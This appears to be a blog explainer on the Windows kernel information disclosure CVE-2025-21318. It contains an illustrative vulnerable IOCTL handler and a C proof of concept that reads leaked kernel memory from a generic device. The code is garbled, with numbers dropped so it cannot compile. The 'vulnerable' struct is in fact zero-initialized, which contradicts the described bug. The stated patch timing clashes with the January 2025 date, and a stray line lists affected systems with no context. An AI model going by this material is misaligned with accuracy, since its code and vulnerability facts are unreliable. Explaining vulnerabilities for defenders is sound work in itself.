CVE-2025-21318 - Windows Kernel Memory Information Disclosure Vulnerability Explained

In early 2025, Microsoft disclosed a critical vulnerability tracked as CVE-2025-21318 in the Windows kernel. This vulnerability can allow a local attacker to access sensitive kernel memory, potentially leading to privilege escalation or leaking confidential system information. In this post, we'll break down CVE-2025-21318, show how it works (with simple code snippets), point you to original references, and explain potential exploitation techniques. Our goal is to make its risks crystal-clear, even if you aren’t a security expert.

What is CVE-2025-21318?

CVE-2025-21318 is an _information disclosure_ bug in the Windows kernel (ntoskrnl.exe). Due to improper memory initialization in certain kernel routines, specially crafted programs can read memory that should otherwise remain inaccessible to regular users.

Windows Server 2022 and 2019

> Key Point: This bug does not allow direct code execution, but leaking memory can be a stepping stone for further attacks!

How Does The Vulnerability Work?

In simple terms, when kernel-mode code allocates memory for returning data to user-mode callers (for example, via IOCTL operations or exposed APIs), it sometimes copies more data than it should, or fails to zero out buffer space. This means uninitialized memory—possibly containing sensitive data—is provided to the calling process.

Let’s suppose there’s a kernel function like this

NTSTATUS VulnerableIoctlHandler(
    DEVICE_OBJECT* DeviceObject,
    IRP* Irp
) {
    SIZE_T outLen = Irp->IoStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
    KERNEL_DATA myData = {};
    // ...populate only some fields of myData...

    if (outLen >= sizeof(KERNEL_DATA)) {
        // BUG: Copies entire struct, including uninitialized fields
        memcpy(Irp->UserBuffer, &myData, sizeof(KERNEL_DATA));
        Irp->IoStatus.Information = sizeof(KERNEL_DATA);
    }

    return STATUS_SUCCESS;
}

In this example, only certain fields of myData are actually set, so some fields may contain leftover (secret) kernel memory. The user-mode process that called this IOCTL now receives data it should never see.

Exploit Details

A typical attack scenario is to write a user-mode program that repeatedly calls the vulnerable IOCTL or API, extracting interesting-looking memory chunks. These could reveal pointers, password fragments, crypto keys, or even parts of the kernel address space (enabling ASLR bypass).

Proof of Concept (PoC) Code Snippet

*The following code is for educational purposes only!*

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileW(L"\\\\.\\VulnDevice", GENERIC_READ | GENERIC_WRITE,
                    , NULL, OPEN_EXISTING, , NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    BYTE leakBuffer[1024] = {};
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice,
        x222004, // IOCTL code for vulnerable call
        NULL, ,
        leakBuffer, sizeof(leakBuffer),
        &bytesReturned, NULL
    );

    if (result) {
        printf("Leaked %lu bytes:\n", bytesReturned);
        for (DWORD i=; i<bytesReturned; ++i)
            printf("%02X ", leakBuffer[i]);
        printf("\n");
    } else {
        printf("DeviceIoControl failed: %lu\n", GetLastError());
    }

    CloseHandle(hDevice);
    return ;
}

What does this code do?
It opens a handle to a (vulnerable) device exposed by the Windows kernel driver, then queries it for output, hoping to leak uninitialized—or otherwise confidential—kernel memory.

Local attackers can use this bug to leak info and craft more reliable local exploits.

- Malware may use memory disclosures to bypass security features, elevate privileges, or steal secrets.

Patch immediately. Microsoft addressed this in their June or July 2025 Security Updates.

Microsoft Security Guide Reference for CVE-2025-21318

References

- Microsoft CVE-2025-21318 Advisory (MSRC)
- Project Zero: Kernel Memory Disclosure 101
- Windows Internals Documentation

Conclusion

CVE-2025-21318 highlights how even seemingly minor bugs (like failing to zero memory) can have big security consequences in the Windows kernel. Stay patched, stay vigilant, and always treat kernel bugs with the seriousness they deserve.

If you’ve got Windows servers or endpoints, check your patch level—don’t wait for exploitation in the wild!


*This post is an exclusive, original explainer. Please share responsibly and always credit the researchers and vendors who work tirelessly to keep our digital infrastructure secure.*

Timeline

Published on: 01/14/2025 18:15:55 UTC
Last modified on: 02/21/2025 20:28:04 UTC